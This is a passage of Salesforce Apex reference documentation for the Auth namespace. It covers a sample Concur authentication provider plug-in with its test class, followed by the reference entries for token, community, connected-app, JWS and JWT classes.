authUrl = authProviderConfiguration.get('Auth_Url__c');
key = authProviderConfiguration.get('Key__c');
// Here the developer can build up a request of some sort.
// Ultimately, they return a URL where we will redirect the user.
String url = authUrl + '?client_id='+ key
+'&scope=USER,EXPRPT,LIST&redirect_uri='+ redirectUrl + '&state=' + stateToPropagate;
return new PageReference(url);
}
678
AuthProviderPluginClass ClassReference
global Auth.AuthProviderTokenResponse handleCallback(Map<string,string>
authProviderConfiguration, Auth.AuthProviderCallbackState state )
{
// Here, the developer will get the callback with actual protocol.
// Their responsibility is to return a new object called
// AuthProviderTokenResponse.
// This will contain an optional accessToken and refreshToken
key = authProviderConfiguration.get('Key__c');
secret = authProviderConfiguration.get('Secret__c');
accessTokenUrl = authProviderConfiguration.get('Access_Token_Url__c');
Map<String,String> queryParams = state.queryParameters;
String code = queryParams.get('code');
String sfdcState = queryParams.get('state');
HttpRequest req = new HttpRequest();
String url = accessTokenUrl+'?code=' + code + '&client_id=' + key +
'&client_secret=' + secret;
req.setEndpoint(url);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String token = getTokenValueFromResponse(responseBody, 'Token',null);
return new Auth.AuthProviderTokenResponse('Concur', token,
'refreshToken', sfdcState);
}
global Auth.UserData getUserInfo(Map<string,string>
authProviderConfiguration,
Auth.AuthProviderTokenResponse response)
{
//Here the developer is responsible for constructing an
//Auth.UserData object
String token = response.oauthToken;
HttpRequest req = new HttpRequest();
userAPIUrl = authProviderConfiguration.get('API_User_Url__c');
userAPIVersionUrl = authProviderConfiguration.get
('API_User_Version_Url__c');
req.setHeader('Authorization','OAuth ' + token);
req.setEndpoint(userAPIUrl);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String id = getTokenValueFromResponse(responseBody,
'LoginId',userAPIVersionUrl);
String fname = getTokenValueFromResponse(responseBody,
'FirstName', userAPIVersionUrl);
679
AuthProviderPluginClass ClassReference
String lname = getTokenValueFromResponse(responseBody,
'LastName', userAPIVersionUrl);
String flname = fname + ''+ lname;
String uname = getTokenValueFromResponse(responseBody,
'EmailAddress', userAPIVersionUrl);
String locale = getTokenValueFromResponse(responseBody,
'LocaleName', userAPIVersionUrl);
Map<String,String> provMap = new Map<String,String>();
provMap.put('what1','noidea1');
provMap.put('what2','noidea2');
return new Auth.UserData(id, fname, lname, flname,
uname, 'what', locale, null,'Concur',null, provMap);
}
private String getTokenValueFromResponse(String response,
String token, String ns)
{
Dom.Document docx = new Dom.Document();
docx.load(response);
String ret = null;
dom.XmlNode xroot = docx.getrootelement() ;
if(xroot != null){ ret = xroot.getChildElement(token, ns).getText();
}
return ret;
}
}
Sample Test Classes
The following example contains test classes for the Concur class.
@IsTest
public class ConcurTestClass {
private static final String OAUTH_TOKEN = 'testToken';
private static final String STATE = 'mocktestState';
private static final String REFRESH_TOKEN = 'refreshToken';
private static final String LOGIN_ID = 'testLoginId';
private static final String USERNAME = 'testUsername';
private static final String FIRST_NAME = 'testFirstName';
private static final String LAST_NAME = 'testLastName';
private static final String EMAIL_ADDRESS = 'testEmailAddress';
private static final String LOCALE_NAME = 'testLocalName';
private static final String FULL_NAME = FIRST_NAME + ''+ LAST_NAME;
private static final String PROVIDER = 'Concur';
private static final String REDIRECT_URL =
'http://localhost/services/authcallback/orgId/Concur';
private static final String KEY = 'testKey';
private static final String SECRET = 'testSecret';
private static final String STATE_TO_PROPOGATE = 'testState';
private static final String ACCESS_TOKEN_URL =
680
AuthProviderPluginClass ClassReference
'http://www.dummyhost.com/accessTokenUri';
private static final String API_USER_VERSION_URL =
'http://www.dummyhost.com/user/20/1';
private static final String AUTH_URL =
'http://www.dummy.com/authurl';
private static final String API_USER_URL =
'www.concursolutions.com/user/api';
// In the real world scenario, the key and value would be read
// from the (custom fields in) custom metadata type record.
private static Map<String,String> setupAuthProviderConfig ()
{
Map<String,String> authProviderConfiguration = new Map<String,String>();
authProviderConfiguration.put('Key__c', KEY);
authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
authProviderConfiguration.put('Secret__c', SECRET);
authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
authProviderConfiguration.put('API_User_Version_Url__c',
API_USER_VERSION_URL);
authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
return authProviderConfiguration;
}
static testMethod void testInitiateMethod()
{
String stateToPropogate = 'mocktestState';
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');
PageReference expectedUrl = new
PageReference(authProviderConfiguration.get('Auth_Url__c')+'?client_id='+
authProviderConfiguration.get('Key__c') +'&scope=USER,EXPRPT,LIST&redirect_uri='+
authProviderConfiguration.get('Redirect_Url__c')+'&state=' +
STATE_TO_PROPOGATE);
PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
STATE_TO_PROPOGATE);
System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
}
static testMethod void testHandleCallback()
{
Map<String,String> authProviderConfiguration =
setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get
('Redirect_Url_c');
Test.setMock(HttpCalloutMock.class,new
681
AuthProviderPluginClass ClassReference
ConcurMockHttpResponseGenerator());
Map<String,String> queryParams = new Map<String,String>();
queryParams.put('code','code');
queryParams.put('state',authProviderConfiguration.get('State_c'));
Auth.AuthProviderCallbackState cbState =
new Auth.AuthProviderCallbackState(null,null,queryParams);
Auth.AuthProviderTokenResponse actualAuthProvResponse =
concurCls.handleCallback(authProviderConfiguration, cbState);
Auth.AuthProviderTokenResponse expectedAuthProvResponse =
new Auth.AuthProviderTokenResponse(
'Concur', OAUTH_TOKEN, REFRESH_TOKEN, null);
System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
System.assertEquals(expectedAuthProvResponse.state,
actualAuthProvResponse.state);
}
static testMethod void testGetUserInfo()
{
Map<String,String> authProviderConfiguration =
setupAuthProviderConfig();
Concur concurCls = new Concur();
Test.setMock(HttpCalloutMock.class,new
ConcurMockHttpResponseGenerator());
Auth.AuthProviderTokenResponse response =
new Auth.AuthProviderTokenResponse(
PROVIDER, OAUTH_TOKEN ,'sampleOauthSecret', STATE);
Auth.UserData actualUserData = concurCls.getUserInfo(
authProviderConfiguration, response) ;
Map<String,String> provMap = new Map<String,String>();
provMap.put('key1','value1');
provMap.put('key2','value2');
Auth.UserData expectedUserData = new Auth.UserData(LOGIN_ID,
FIRST_NAME, LAST_NAME, FULL_NAME, EMAIL_ADDRESS,
null, LOCALE_NAME, null, PROVIDER, null, provMap);
System.assertNotEquals(expectedUserData,null);
System.assertEquals(expectedUserData.firstName,
actualUserData.firstName);
System.assertEquals(expectedUserData.lastName,
actualUserData.lastName);
System.assertEquals(expectedUserData.fullName,
actualUserData.fullName);
682
AuthProviderPluginClass ClassReference
System.assertEquals(expectedUserData.email,
actualUserData.email);
System.assertEquals(expectedUserData.username,
actualUserData.username);
System.assertEquals(expectedUserData.locale,
actualUserData.locale);
System.assertEquals(expectedUserData.provider,
actualUserData.provider);
System.assertEquals(expectedUserData.siteLoginUrl,
actualUserData.siteLoginUrl);
}
// Implement a mock http response generator for Concur.
public class ConcurMockHttpResponseGenerator implements HttpCalloutMock
{
public HTTPResponse respond(HTTPRequest req)
{
String namespace = API_USER_VERSION_URL;
String prefix = 'mockPrefix';
Dom.Document doc = new Dom.Document();
Dom.XmlNode xmlNode = doc.createRootElement(
'mockRootNodeName', namespace, prefix);
xmlNode.addChildElement('LoginId', namespace, prefix)
.addTextNode(LOGIN_ID);
xmlNode.addChildElement('FirstName', namespace, prefix)
.addTextNode(FIRST_NAME);
xmlNode.addChildElement('LastName', namespace, prefix)
.addTextNode(LAST_NAME);
xmlNode.addChildElement('EmailAddress', namespace, prefix)
.addTextNode(EMAIL_ADDRESS);
xmlNode.addChildElement('LocaleName', namespace, prefix)
.addTextNode(LOCALE_NAME);
xmlNode.addChildElement('Token',null,null)
.addTextNode(OAUTH_TOKEN);
System.debug(doc.toXmlString());
// Create a fake response
HttpResponse res = new HttpResponse();
res.setHeader('Content-Type','application/xml');
res.setBody(doc.toXmlString());
res.setStatusCode(200);
return res;
}
}
}
AuthProviderTokenResponse Class
Stores the response from the AuthProviderPlugin.handleCallback method.
683
AuthProviderTokenResponse ClassReference
Namespace
Auth
IN THIS SECTION:
AuthProviderTokenResponse Constructors
AuthProviderTokenResponse Properties
AuthProviderTokenResponse Constructors
The following are constructors for AuthProviderTokenResponse.
IN THIS SECTION:
AuthProviderTokenResponse(provider, oauthToken, oauthSecretOrRefreshToken, state)
Creates an instance of the AuthProviderTokenResponse class using the specified authentication provider, OAuth access
token, OAuth secret or refresh token, and state for a custom authentication provider plug-in.
AuthProviderTokenResponse(provider, oauthToken, oauthSecretOrRefreshToken,
state)
Creates an instance of the AuthProviderTokenResponse class using the specified authentication provider, OAuth access token,
OAuth secret or refresh token, and state for a custom authentication provider plug-in.
Signature
public AuthProviderTokenResponse(String provider, String oauthToken, String
oauthSecretOrRefreshToken, String state)
Parameters
provider
Type: String
The custom authentication provider.
oauthToken
Type: String
The OAuth access token.
oauthSecretOrRefreshToken
Type: String
The OAuth secret or refresh token for the currently logged-in user.
state
Type: String
The state passed in to initiate the authentication request for the user.
684
AuthProviderTokenResponse ClassReference
AuthProviderTokenResponse Properties
The following are properties for AuthProviderTokenResponse.
IN THIS SECTION:
oauthSecretOrRefreshToken
The OAuth secret or refresh token for the currently logged-in user.
oauthToken
The OAuth access token.
provider
The authentication provider.
state
The state passed in to initiate the authentication request for the user.
oauthSecretOrRefreshToken
The OAuth secret or refresh token for the currently logged-in user.
Signature
public String oauthSecretOrRefreshToken {get; set;}
Property Value
Type: String
oauthToken
The OAuth access token.
Signature
public String oauthToken {get; set;}
Property Value
Type: String
provider
The authentication provider.
Signature
public String provider {get; set;}
685
AuthProviderTokenResponse ClassReference
Property Value
Type: String
state
The state passed in to initiate the authentication request for the user.
Signature
public String state {get; set;}
Property Value
Type: String
AuthToken Class
Contains methods for providing the access token associated with an authentication provider for an authenticated user, except for the
Janrain provider.
Namespace
Auth
AuthToken Methods
The following are methods for AuthToken. All methods are static.
IN THIS SECTION:
getAccessToken(authProviderId, providerName)
Returns an access token for the current user using the specified 18-character identifier of an AuthProvider definition in your org and
the proper name of the third party, such as Salesforce or Facebook. Note that querying the ProviderType field on the AuthProvider
object sometimes returns a value that differs from the expected provider name value. For example, for Open ID Connect providers,
OpenIdConnect is the ProviderType value for the AuthProvider object, but the expected providerName is Open
ID Connect.
getAccessTokenMap(authProviderId, providerName)
Returns a map from the third-party identifier to the access token for the currently logged-in Salesforce user. The identifier value
depends on the third party. For example, for Salesforce it would be the user ID, while for Facebook it would be the user number.
Note that querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected
provider name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the
AuthProvider object, but the expected providerName is Open ID Connect.
refreshAccessToken(authProviderId, providerName, oldAccessToken)
Returns a map from the third-party identifier containing a refreshed access token for the currently logged-in Salesforce user. Note
that querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected
provider name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the
AuthProvider object, but the expected providerName is Open ID Connect.
686
AuthToken ClassReference
revokeAccess(authProviderId, providerName, userId, remoteIdentifier)
Revokes the access token for a specified social sign-on user from a third-party service such as Facebook©. Note that querying the
ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value.
For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but
the expected providerName is Open ID Connect.
getAccessToken(authProviderId, providerName)
Returns an access token for the current user using the specified 18-character identifier of an AuthProvider definition in your org and the
proper name of the third party, such as Salesforce or Facebook. Note that querying the ProviderType field on the AuthProvider
object sometimes returns a value that differs from the expected provider name value. For example, for Open ID Connect providers,
OpenIdConnect is the ProviderType value for the AuthProvider object, but the expected providerName is Open ID
Connect.
Signature
public static String getAccessToken(String authProviderId, String providerName)
Parameters
authProviderId
Type: String
providerName
Type: String
The proper name of the third party. For all providers except Janrain, the expected values are
•Facebook
•Salesforce
•Open ID Connect
•Microsoft Access Control Service
•LinkedIn
•Twitter
•Google
For Janrain providers, the parameter value is the proper name of the third party used. Yahoo! is an example of a Janrain provider
value.
Return Value
Type: String
getAccessTokenMap(authProviderId, providerName)
Returns a map from the third-party identifier to the access token for the currently logged-in Salesforce user. The identifier value depends
on the third party. For example, for Salesforce it would be the user ID, while for Facebook it would be the user number. Note that querying
the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value.
For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but the
expected providerName is Open ID Connect.
687
AuthToken ClassReference
Signature
public static Map<String,String> getAccessTokenMap(String authProviderId, String
providerName)
Parameters
authProviderId
Type: String
providerName
Type: String
The proper name of the third party. For all providers except Janrain, the expected values are
•Facebook
•Salesforce
•Open ID Connect
•Microsoft Access Control Service
•LinkedIn
•Twitter
•Google
For Janrain providers, the parameter value is the proper name of the third party used. Yahoo! is an example of a Janrain provider
value.
Return Value
Type: Map<String, String>
refreshAccessToken(authProviderId, providerName, oldAccessToken)
Returns a map from the third-party identifier containing a refreshed access token for the currently logged-in Salesforce user. Note that
querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider
name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider
object, but the expected providerName is Open ID Connect.
Signature
public static Map<String,String> refreshAccessToken(String authProviderId, String
providerName, String oldAccessToken)
Parameters
authProviderId
Type: String
providerName
Type: String
The proper name of the third party. For all providers except Janrain, the expected values are
•Facebook
688
AuthToken ClassReference
•Salesforce
•Open ID Connect
•Microsoft Access Control Service
•LinkedIn
•Twitter
•Google
For Janrain providers, the parameter value is the proper name of the third party used. Yahoo! is an example of a Janrain provider
value.
oldAccessToken
Type: String
Return Value
Type: Map<String, String>
Usage
This method works when using Salesforce or an OpenID Connect provider, but not when using Facebook or Janrain. The returned map
contains AccessToken and RefreshError keys. Evaluate the keys in the response to check if the request was successful. For a
successful request, the RefreshError value is null, and AccessToken is a token value. For an unsuccessful request, the
RefreshError value is an error message, and the AccessToken value is null.
When successful, this method updates the token stored in the database, which you can get using
Auth.AuthToken.getAccessToken().
If you are using an OpenID Connect authentication provider, an id_token is not required in the response from the provider. If a
Token Issuer is specified in the Auth. Provider settings and an id_token is provided anyway, Salesforce will verify it.
Example
String accessToken = Auth.AuthToken.getAccessToken('0SOD000000000De','Open ID connect');
Map<String,String> responseMap = Auth.AuthToken.refreshAccessToken('0SOD000000000De',
'Open ID connect', accessToken);
A successful request includes the access token in the response.
(RefreshError,null)(AccessToken,00DD00000007BhE!AQkAQFzj...)
revokeAccess(authProviderId, providerName, userId, remoteIdentifier)
Revokes the access token for a specified social sign-on user from a third-party service such as Facebook©. Note that querying the
ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value. For
example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but the
expected providerName is Open ID Connect.
Signature
public static Boolean revokeAccess(String authProviderId, String providerName, String
userId, String remoteIdentifier)
689
AuthToken ClassReference
Parameters
authProviderId
Type: String
The ID of the Auth. Provider in the Salesforce organization.
providerName
Type: String
The proper name of the third party. For all providers except Janrain, the expected values are
•Facebook
•Salesforce
•Open ID Connect
•Microsoft Access Control Service
•LinkedIn
•Twitter
•Google
For Janrain providers, the parameter value is the proper name of the third party used. Yahoo! is an example of a Janrain provider
value.
userId
Type: String
The 15-character ID for the user whose access is being revoked.
remoteIdentifier
Type: String
The unique ID for the user in the third-party system (this value is in the associated ThirdPartyAccountLink standard object).
Return Value
Type: Boolean
The return value is true if the revokeAccess() operation is successful; otherwise false.
Example
The following example revokes a Facebook user's access token.
Auth.AuthToken.revokeAccess('0SOxx00000#####','facebook','005xx00000#####',
'ThirdPartyIdentifier_exist214176560#####');
CommunitiesUtil Class
Contains methods for getting information about a community user.
Namespace
Auth
690
CommunitiesUtil ClassReference
Example
The following example directs a guest (unauthenticated) user to one page, and authenticated users of the community’s parent organization
to another page.
if (Auth.CommunitiesUtil.isGuestUser())
// Redirect to the login page if user is an unauthenticated user
return new PageReference(LOGIN_URL);
if (Auth.CommunitiesUtil.isInternalUser())
// Redirect to the home page if user is an internal user
return new PageReference(HOME_URL);
CommunitiesUtil Methods
The following are methods for CommunitiesUtil. All methods are static.
IN THIS SECTION:
getLogoutUrl()
Returns the page to display after the current community user logs out.
getUserDisplayName()
Returns the current user’s community display name.
isGuestUser()
Indicates whether the current user isn’t logged in to the community and may need to be redirected to log in, if required.
isInternalUser()
Indicates whether the current user is logged in as a member of the parent Salesforce organization, such as an employee.
getLogoutUrl()
Returns the page to display after the current community user logs out.
Signature
public static String getLogoutUrl()
Return Value
Type: String
getUserDisplayName()
Returns the current user’s community display name.
Signature
public static String getUserDisplayName()
691
CommunitiesUtil ClassReference
Return Value
Type: String
isGuestUser()
Indicates whether the current user isn’t logged in to the community and may need to be redirected to log in, if required.
Signature
public static Boolean isGuestUser()
Return Value
Type: Boolean
isInternalUser()
Indicates whether the current user is logged in as a member of the parent Salesforce organization, such as an employee.
Signature
public static Boolean isInternalUser()
Return Value
Type: Boolean
ConnectedAppPlugin Class
Contains methods for extending the behavior of a connected app, for example, customizing how a connected app is invoked depending
on the protocol used. This class gives you more control over the interaction between Salesforce and your connected app.
Namespace
Auth
Usage
The class runs on behalf of the current user of the connected app. This user must have permission to use the connected app for the
plug-in to work.
Example
This example gives the user permission to use the connected app if the context is SAML and the user has reached the quota tracked in
a custom field. It returns the user’s permission set assignments. The example uses InvocationContext to modify a SAML assertion
before it’s sent to the service provider.
global class ConnectedAppPluginExample extends Auth.ConnectedAppPlugin{
692
ConnectedAppPlugin ClassReference
// Authorize the app if the user has achieved quota tracked in a custom field
global override boolean authorize(Id userId, Id connectedAppId, boolean
isAdminApproved) {
// Create a custom boolean field HasAchievedQuota__c on the user record
// and then uncomment the block below
// User u = [select id, HasAchievedQuota__c from User where id =: userId].get(0);
// return u.HasAchievedQuota__c;
return isAdminApproved;
}
// Call a flow during refresh
global override void refresh(Id userId, Id connectedAppId) {
try
{
Map<String,Object> inputVariables = new Map<String,Object>();
inputVariables.put('userId', userId);
inputVariables.put('connectedAppId', connectedAppId);
// Create a custom trigger ready flow and uncomment the block below
// Flow.Interview.MyCustomFlow interview = new
Flow.Interview.MyCustomFlow(inputVariables);
// interview.start();
}catch ( Exception e ) {
System.debug('FLOW Exception:' + e);
}
}
// Return a user’s permission set assignments
global override Map<String,String> customAttributes(Id userId, Map<String,String>
formulaDefinedAttributes)
{
List<PermissionSetAssignment> psas = [SELECT id, PermissionSet.Name FROM
PermissionSetAssignment
WHERE PermissionSet.IsOwnedByProfile = false AND (AssigneeId = :userId)];
String permsets = '[';
for (PermissionSetAssignment psa :psas)
{
permsets += psa.PermissionSet.Name + ';';
}
permsets += ']';
formulaDefinedAttributes.put('PermissionSets', permsets);
return formulaDefinedAttributes;
}
}
693
ConnectedAppPlugin ClassReference
IN THIS SECTION:
ConnectedAppPlugin Methods
ConnectedAppPlugin Methods
The following are methods for ConnectedAppPlugin.
IN THIS SECTION:
authorize(userId, connectedAppId, isAdminApproved)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use authorize(userId, connectedAppId,
isAdminApproved, context) instead.
authorize(userId, connectedAppId, isAdminApproved, context)
Authorizes the specified user for the connected app. If the connected app is set for users to self-authorize, this call isn’t necessary.
customAttributes(userId, connectedAppId, formulaDefinedAttributes)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use customAttributes(userId,
connectedAppId, formulaDefinedAttributes, context) instead.
customAttributes(userId, connectedAppId, formulaDefinedAttributes, context)
Sets new attributes for the specified user. When the connected app gets the user’s attributes from the UserInfo endpoint or through
a SAML assertion, use this method to update the attribute values.
modifySAMLResponse(authSession, connectedAppId, samlResponse)
Modifies the XML generated by the Salesforce SAML Identity Provider (IDP) before it’s sent to the service provider.
refresh(userId, connectedAppId)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use refresh(userId, connectedAppId,
context) instead.
refresh(userId, connectedAppId, context)
Salesforce calls this method during a refresh token exchange.
authorize(userId, connectedAppId, isAdminApproved)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use authorize(userId, connectedAppId,
isAdminApproved, context) instead.
Signature
public Boolean authorize(Id userId, Id connectedAppId, Boolean isAdminApproved)
Parameters
userId
Type: Id
The 15-character ID of the user attempting to use the connected app.
connectedAppId
Type: String
The 15-character ID of the connected app.
694
ConnectedAppPlugin ClassReference
isAdminApproved
Type: Boolean
The approval state of the specified user when the connected app requires approval.
Return Value
Type: Boolean
If the connected app requires admin approval, a returned value of true indicates that the current user is approved.
authorize(userId, connectedAppId, isAdminApproved, context)
Authorizes the specified user for the connected app. If the connected app is set for users to self-authorize, this call isn’t necessary.
Signature
public Boolean authorize(Id userId, Id connectedAppId, Boolean isAdminApproved,
Auth.InvocationContext context)
Parameters
userId
Type: Id
The 15-character ID of the user attempting to use the connected app.
connectedAppId
Type: Id
The 15-character ID of the connected app.
isAdminApproved
Type: Boolean
The approval state of the specified user when the connected app requires approval.
context
Type: InvocationContext
The context in which the connected app is invoked.
Return Value
Type: Boolean
If the connected app requires admin approval, a returned value of true indicates that the user is approved.
customAttributes(userId, connectedAppId, formulaDefinedAttributes)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use customAttributes(userId,
connectedAppId, formulaDefinedAttributes, context) instead.
695
ConnectedAppPlugin ClassReference
Signature
public Map<String,String> customAttributes(Id userId, Id connectedAppId,
Map<String,String> formulaDefinedAttributes,)
Parameters
userId
Type: Id
The 15-character ID of the user attempting to use the connected app.
connectedAppId
Type: Id
The 15-character ID of the connected app.
formulaDefinedAttributes
Type: Map<String,String>
A map of the new set of attributes from the UserInfo endpoint (OAuth) or from a SAML assertion. For more information, see The
UserInfo Endpoint in the online help.
Return Value
Type: Map<String,String>
A map of the updated set of attributes.
customAttributes(userId, connectedAppId, formulaDefinedAttributes, context)
Sets new attributes for the specified user. When the connected app gets the user’s attributes from the UserInfo endpoint or through a
SAML assertion, use this method to update the attribute values.
Signature
public Map<String,String> customAttributes(Id userId, Id connectedAppId,
Map<String,String> formulaDefinedAttributes, Auth.InvocationContext context)
Parameters
userId
Type: Id
The 15-character ID of the user attempting to use the connected app.
connectedAppId
Type: Id
The 15-character ID for the connected app.
formulaDefinedAttributes
Type: Map<String,String>
A map of the current set of attributes from the UserInfo endpoint (OAuth) or from a SAML assertion. For more information, see The
UserInfo Endpoint in the online help.
Type: InvocationContext
696
ConnectedAppPlugin ClassReference
The context in which the connected app is invoked.
Return Value
Type: Map<String,String>
A map of the updated set of attributes.
modifySAMLResponse(authSession, connectedAppId, samlResponse)
Modifies the XML generated by the Salesforce SAML Identity Provider (IDP) before it’s sent to the service provider.
Signature
public dom.XmlNode modifySAMLResponse(Map<String,String> authSession, Id connectedAppId,
dom.XmlNode samlResponse)
Parameters
authSession
Type: Map<String,String>
The attributes for the authorized user’s session. The map includes the 15-character ID of the authorized user who’s accessing the
connected app.
connectedAppId
Type: Id
The 15-character ID of the connected app.
samlResponse
Type: Dom.XmlNode
Contains the SAML XML response generated by the IDP.
Return Value
Type: Dom.XmlNode
Returns an instance of Dom.XmlNode containing the modified SAML XML response.
Usage
Use this method to modify the XML SAML response to perform an action based on the context of the SAML request before it’s verified,
signed, and sent to the target service provider. This method enables developers to extend the connected app plug-in to meet their
specific needs.
The developer assumes full responsibility for changes made within the connected app plug-in. The plug-in must include validation and
error handling. If the plug-in throws an exception, catch it, log it, and stop the process. Don’t send anything to the target service provider.
refresh(userId, connectedAppId)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use refresh(userId, connectedAppId,
context) instead.
697
ConnectedAppPlugin ClassReference
Signature
public void refresh(Id userId, Id connectedAppId)
Parameters
userId
Type: Id
The 15-character ID of the user requesting the refresh token.
connectedAppId
Type: Id
The 15-character ID of the connected app.
Return Value
Type: void
refresh(userId, connectedAppId, context)
Salesforce calls this method during a refresh token exchange.
Signature
public void refresh(Id userId, Id connectedAppId, Auth.InvocationContext context)
Parameters
userId
Type: Id
The 15-character ID of the user requesting the refresh token.
connectedAppId
Type: Id
The 15-character ID of the connected app.
context
Type: InvocationContext
The context in which the connected app is invoked.
Return Value
Type: void
InvocationContext Enum
The context in which the connected app is invoked, such as the protocol flow used and the token type issued, if any. Developers can
use the context information to write code that is unique to the type of invocation.
698
InvocationContext EnumReference
Enum Values
The following are the values of the Auth.InvocationContext enum.
DescriptionValue
Reserved for future use.ASSET_TOKEN
Context used when authentication is through an OAuth 1.0A flow.OAUTH1
Context used when authentication is through a JSON-based Web Token (JWT)
bearer token flow.
OAUTH2_JWT_BEARER_TOKEN
Context used when authentication is through an OAuth 2.0 SAML assertion flow.OAUTH2_SAML_ASSERTION
Context used when authentication is through an OAuth 2.0 SAML bearer assertion
flow.
OAUTH2_SAML_BEARER_ASSERTION
Context used when authentication is through an OAuth 2.0 username-password
flow.
OAUTH2_USERNAME_PASSWORD
Context used when issuing an ID token through an OAuth 2.0 user-agent flow.OAUTH2_USER_AGENT_ID_TOKEN
Context used when authentication is through an OAuth 2.0 user agent flow.OAUTH2_USER_AGENT_TOKEN
Context used when authentication is through a web server authentication flow.OAUTH2_WEB_SERVER
Context used when authentication is through an OpenID Connect authentication
flow.
OPENIDCONNECT
Context used when renewing tokens issued by a web server or user-agent flow.REFRESH_TOKEN
Context used when authentication is through a SAML assertion flow.SAML_ASSERTION
Context is unknown.UNKNOWN
Context used when issuing an access token through a UserInfo endpoint.USERID_ENDPOINT
SEE ALSO:
Salesforce Help: Authenticating Apps with OAuth
JWS Class
Contains methods that apply a digital signature to a JSON Web Token (JWT), using a JSON Web Signature (JWS) data structure. This class
creates the signed JWT bearer token, which can be used to request an OAuth access token in the OAuth 2.0 JWT bearer token flow.
Namespace
Auth
Usage
Use the methods in this class to sign the JWT bearer token with the X509 certificate.
699
JWS ClassReference
IN THIS SECTION:
JWS Constructors
JWS Methods
JWS Constructors
The following are constructors for JWS.
IN THIS SECTION:
JWS(jwt, certDevName)
Creates an instance of the JWS class using the specified Auth.JWT payload and the certificate used for signing the JWT bearer
token.
JWS(payload, certDevName)
Creates an instance of the JWS class using the specified payload and certificate used for signing the JWT bearer token.
JWS(jwt, certDevName)
Creates an instance of the JWS class using the specified Auth.JWT payload and the certificate used for signing the JWT bearer token.
Signature
public JWS(Auth.JWT jwt, String certDevName)
Parameters
jwt
Type: Auth.JWT
The Base64-encoded JSON Claims Set in the JWT bearer token generated by Auth.JWT.
certDevName
Type: String
The Unique Name for a certificate stored in the Salesforce org’s Certificate and Key Management page to use for signing the
JWT bearer token.
Usage
Calls the toJSONString() method in Auth.JWT and sets the resulting string as the payload of the JWT bearer token. Alternatively,
you can specify the payload directly using JWS(payload, certDevName).
JWS(payload, certDevName)
Creates an instance of the JWS class using the specified payload and certificate used for signing the JWT bearer token.
Signature
public JWS(String payload, String certDevName)
700
JWS ClassReference
Parameters
payload
Type: String
The Base64-encoded JSON Claims Set in the JWT bearer token.
certDevName
Type: String
The Unique Name for a certificate stored in the Salesforce org’s Certificate and Key Management page to use for signing the
JWT bearer token.
Usage
Sets the payload string as the payload of the JWT bearer token. Alternatively, if you generate the payload using Auth.JWT, you
can use JWS(jwt, certDevName) instead.
JWS Methods
The following are methods for JWS. All are instance methods.
IN THIS SECTION:
clone()
Makes a duplicate copy of the JWS object.
getCompactSerialization()
Returns the compact serialization representation of the JWS as a concatenated string, with the encoded JWS header, encoded JWS
payload, and encoded JWS signature strings separated by period ('.') characters.
clone()
Makes a duplicate copy of the JWS object.
Signature
public Object clone()
Return Value
Type: JWS
getCompactSerialization()
Returns the compact serialization representation of the JWS as a concatenated string, with the encoded JWS header, encoded JWS
payload, and encoded JWS signature strings separated by period ('.') characters.
Signature
public String getCompactSerialization()
701
JWS ClassReference
Return Value
Type: String
JWT Class
Generates the JSON Claims Set in a JSON Web Token (JWT). The resulting Base64-encoded payload can be passed as an argument to
create an instance of the Auth.JWS class.
Namespace
Auth
Usage
Use the methods in this class to generate the payload in a JWT bearer token.
IN THIS SECTION:
JWT Methods
JWT Methods
The following are methods for JWT. All are instance methods.
IN THIS SECTION:
clone()
Makes a duplicate copy of the JWT object.
getAdditionalClaims()
Returns a map of additional claims in the JWT, where the key string contains the name of the claim, and the value contains the value
of the claim.
getAud()
Returns the audience claim that identifies the intended recipients of the JWT.
getIss()
Returns the issuer claim that identifies the issuer of the JWT.
getNbfClockSkew()
Returns the not before claim that identifies the time before which the JWT must not be accepted for processing, while allowing
some leeway for clock skew.
getSub()
Returns the subject claim that identifies the current user of the JWT.
getValidityLength()
Returns the length of time that the JWT is valid, which affects the expiration claim.
setAdditionalClaims(additionalClaims)
Sets the additional claims in the JWT. Returned by the getAdditionalClaims() method.
702
JWT ClassReference
setAud(aud)
Sets the audience claim in the JWT. Returned by the getAud() method.
setIss(iss)
Sets the issuer claim in the JWT. Returned by the getIss() method.
setNbfClockSkew(nbfClockSkew)
Sets the not before claim in the JWT. Returned by the getNbfClockSkew() method.
setSub(sub)
Sets the subject claim in the JWT. Returned by the getSub() method.
